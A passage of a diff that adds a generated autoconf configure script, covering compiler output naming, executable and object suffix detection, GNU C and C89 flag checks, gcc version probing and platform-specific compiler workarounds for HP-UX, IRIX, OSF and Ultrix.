>>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +{ echo "$as_me:$LINENO: checking for C compiler default output file name" >&5 +echo $ECHO_N "checking for C compiler default output file name... $ECHO_C" >&6; } +ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` +# +# List of possible output files, starting from the most likely. +# The algorithm is not robust to junk in `.', hence go to wildcards (a.*) +# only as a last resort. b.out is created by i960 compilers. +ac_files='a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out' +# +# The IRIX 6 linker writes into existing files which may not be +# executable, retaining their permissions. Remove them first so a +# subsequent execution test works. +ac_rmfiles= +for ac_file in $ac_files +do + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) ;; + * ) ac_rmfiles="$ac_rmfiles $ac_file";; + esac +done +rm -f $ac_rmfiles + +if { (ac_try="$ac_link_default" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link_default") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. +# So ignore a value of `no', otherwise this would lead to `EXEEXT = no' +# in a Makefile. We should not override ac_cv_exeext if it was cached, +# so that the user can short-circuit this test for compilers unknown to +# Autoconf. +for ac_file in $ac_files +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; + then :; else + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + fi + # We set ac_cv_exeext here because the later test for it is not + # safe: cross compilers may not add the suffix if given an `-o' + # argument, so we may need to know it at that point already. + # Even if this section looks crufty: it has the advantage of + # actually working. + break;; + * ) + break;; + esac +done +test "$ac_cv_exeext" = no && ac_cv_exeext= + +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: C compiler cannot create executables +See \`config.log' for more details." >&5 +echo "$as_me: error: C compiler cannot create executables +See \`config.log' for more details." >&2;} + { (exit 77); exit 77; }; } +fi + +ac_exeext=$ac_cv_exeext +{ echo "$as_me:$LINENO: result: $ac_file" >&5 +echo "${ECHO_T}$ac_file" >&6; } + +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ echo "$as_me:$LINENO: checking whether the C compiler works" >&5 +echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6; } +# FIXME: These cross compiler hacks should be removed for Autoconf 3.0 +# If not cross compiling, check that we can run a simple program. +if test "$cross_compiling" != yes; then + if { ac_try='./$ac_file' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { echo "$as_me:$LINENO: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + fi + fi +fi +{ echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + +rm -f a.out a.exe conftest$ac_cv_exeext b.out +ac_clean_files=$ac_clean_files_save +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 +echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6; } +{ echo "$as_me:$LINENO: result: $cross_compiling" >&5 +echo "${ECHO_T}$cross_compiling" >&6; } + +{ echo "$as_me:$LINENO: checking for suffix of executables" >&5 +echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6; } +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # If both `conftest.exe' and `conftest' are `present' (well, observable) +# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will +# work properly (i.e., refer to `conftest.exe'), while it won't with +# `rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + break;; + * ) break;; + esac +done +else + { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest$ac_cv_exeext +{ echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 +echo "${ECHO_T}$ac_cv_exeext" >&6; } + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +{ echo "$as_me:$LINENO: checking for suffix of object files" >&5 +echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6; } +if test "${ac_cv_objext+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + for ac_file in conftest.o conftest.obj conftest.*; do + test -f "$ac_file" || continue; + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest.$ac_cv_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 +echo "${ECHO_T}$ac_cv_objext" >&6; } +OBJEXT=$ac_cv_objext +ac_objext=$OBJEXT +{ echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6; } +if test "${ac_cv_c_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6; } +GCC=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CFLAGS=${CFLAGS+set} +ac_save_CFLAGS=$CFLAGS +{ echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 +echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + CFLAGS="" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_g" >&6; } +if test "$ac_test_CFLAGS" = set; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +{ echo "$as_me:$LINENO: checking for $CC option to accept ISO C89" >&5 +echo $ECHO_N "checking for $CC option to accept ISO C89... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_c89+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include +/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ +struct buf { int x; }; +FILE * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not '\xHH' hex character constants. + These don't provoke an error unfortunately, instead are silently treated + as 'x'. The following induces an error, until -std is added to get + proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an + array size at least. It's necessary to write '\x00'==0 to get something + that's true only with -std. */ +int osf4_cc_array ['\x00' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) 'x' +int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); +int argc; +char **argv; +int +main () +{ +return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; + ; + return 0; +} +_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ + -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_c89=$ac_arg +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC + +fi +# AC_CACHE_VAL +case "x$ac_cv_prog_cc_c89" in + x) + { echo "$as_me:$LINENO: result: none needed" >&5 +echo "${ECHO_T}none needed" >&6; } ;; + xno) + { echo "$as_me:$LINENO: result: unsupported" >&5 +echo "${ECHO_T}unsupported" >&6; } ;; + *) + CC="$CC $ac_cv_prog_cc_c89" + { echo "$as_me:$LINENO: result: $ac_cv_prog_cc_c89" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_c89" >&6; } ;; +esac + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + if test "$GCC" = yes ; then + if test "$SHLICC2" = yes ; then + ac_cv_lbl_gcc_vers=2 + U_COPTS="-O2" + else + { echo "$as_me:$LINENO: checking gcc version" >&5 +echo $ECHO_N "checking gcc version... $ECHO_C" >&6; } + if test "${ac_cv_lbl_gcc_vers+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_lbl_gcc_vers=`$CC -v 2>&1 | \ + sed -e '/^gcc version /!d' \ + -e 's/^gcc version //' \ + -e 's/ .*//' -e 's/^[^0-9]*//' \ + -e 's/\..*//'` +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_gcc_vers" >&5 +echo "${ECHO_T}$ac_cv_lbl_gcc_vers" >&6; } + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + U_COPTS="-O2" + fi + fi + else + { echo "$as_me:$LINENO: checking that $CC handles ansi prototypes" >&5 +echo $ECHO_N "checking that $CC handles ansi prototypes... $ECHO_C" >&6; } + if test "${ac_cv_lbl_cc_ansi_prototypes+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +int frob(int, char *) + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lbl_cc_ansi_prototypes=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_cc_ansi_prototypes=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_cc_ansi_prototypes" >&5 +echo "${ECHO_T}$ac_cv_lbl_cc_ansi_prototypes" >&6; } + if test $ac_cv_lbl_cc_ansi_prototypes = no ; then + case "$host_os" in + + hpux*) + { echo "$as_me:$LINENO: checking for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)" >&5 +echo $ECHO_N "checking for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)... $ECHO_C" >&6; } + savedcflags="$CFLAGS" + CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS" + if test "${ac_cv_lbl_cc_hpux_cc_aa+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +int frob(int, char *) + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lbl_cc_hpux_cc_aa=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_cc_hpux_cc_aa=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_cc_hpux_cc_aa" >&5 +echo "${ECHO_T}$ac_cv_lbl_cc_hpux_cc_aa" >&6; } + if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then + { { echo "$as_me:$LINENO: error: see the INSTALL doc for more info" >&5 +echo "$as_me: error: see the INSTALL doc for more info" >&2;} + { (exit 1); exit 1; }; } + fi + CFLAGS="$savedcflags" + V_CCOPT="-Aa $V_CCOPT" + cat >>confdefs.h <<\_ACEOF +#define _HPUX_SOURCE 1 +_ACEOF + + ;; + + *) + { { echo "$as_me:$LINENO: error: see the INSTALL doc for more info" >&5 +echo "$as_me: error: see the INSTALL doc for more info" >&2;} + { (exit 1); exit 1; }; } + ;; + esac + fi + U_CINCS="$U_CINCS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + + case "$host_os" in + + irix*) + V_CCOPT="$V_CCOPT -xansi -signed -O" + ;; + + osf*) + V_CCOPT="$V_CCOPT -std1 -O" + ;; + + ultrix*) + { echo "$as_me:$LINENO: checking that Ultrix $CC hacks const in prototypes" >&5 +echo $ECHO_N "checking that Ultrix $CC hacks const in prototypes... $ECHO_C" >&6; } + if test "${ac_cv_lbl_cc_const_proto+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +int +main () +{ +struct a { int b; }; + void c(const struct a *) + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lbl_cc_const_proto=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_cc_const_proto=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_cc_const_proto" >&5 +echo "${ECHO_T}$ac_cv_lbl_cc_const_proto" >&6; } + if test $ac_cv_lbl_cc_const_proto = no ; then + cat >>confdefs.h <<\_ACEOF +#define const +_ACEOF + + fi + ;; + esac + fi + + + + +# Check whether --enable-shared was given. +if test "${enable_shared+set}" = set; then + enableval=$enable_shared; p=${PACKAGE-default} + case $enableval in + yes) enable_shared=yes 